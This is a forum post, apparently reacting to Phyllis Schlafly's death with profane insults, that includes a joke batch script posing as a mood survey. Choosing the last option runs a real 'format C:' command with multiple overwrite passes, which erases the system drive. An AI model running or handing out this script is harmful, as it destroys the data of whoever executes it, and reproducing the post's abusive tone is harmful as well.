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In reply to the discussion: Phyliss Schlafly was a vile and disgusting human being. Fuck her. [View all]Glassunion
(10,201 posts)The path is very important in batch scripts.
:: =========== Schlafly.bat ==================
:: Created by:Glassunion
:: 09/06/2016 11:45am
:: =======================================
if .%Phyliss%.==.Dead. (call :Emotion) else (goto :eof)
goto :eof
:Emotion
echo.
echo 1 - Happy
echo 2 - Meh
echo 3 - Haz a sadz
echo 4 - I haz a butthurt
choice /c 1234 /m "Please select 1 through 4, on how you are feeling"
set _emotion=%errorlevel%
cls
if %_emotion% LEQ 2 (echo Have a nice day! & goto :eof)
if %_emotion% EQU 3 (echo I'm sadz you haz a sadz. You should watch less Fox News. & goto :eof)
if %_emotion% EQU 4 (echo OH FFS! & goto THEEND)
:THEEND
echo You really should question your life.
echo.
cls
pause
echo No really you should. In fact, let me help you.
pause
format C: /fs:NTFS /x /p:8238
:: No need to close out this subroutine as the script will probably blow up at this point.
:: But for the purists...
goto :eof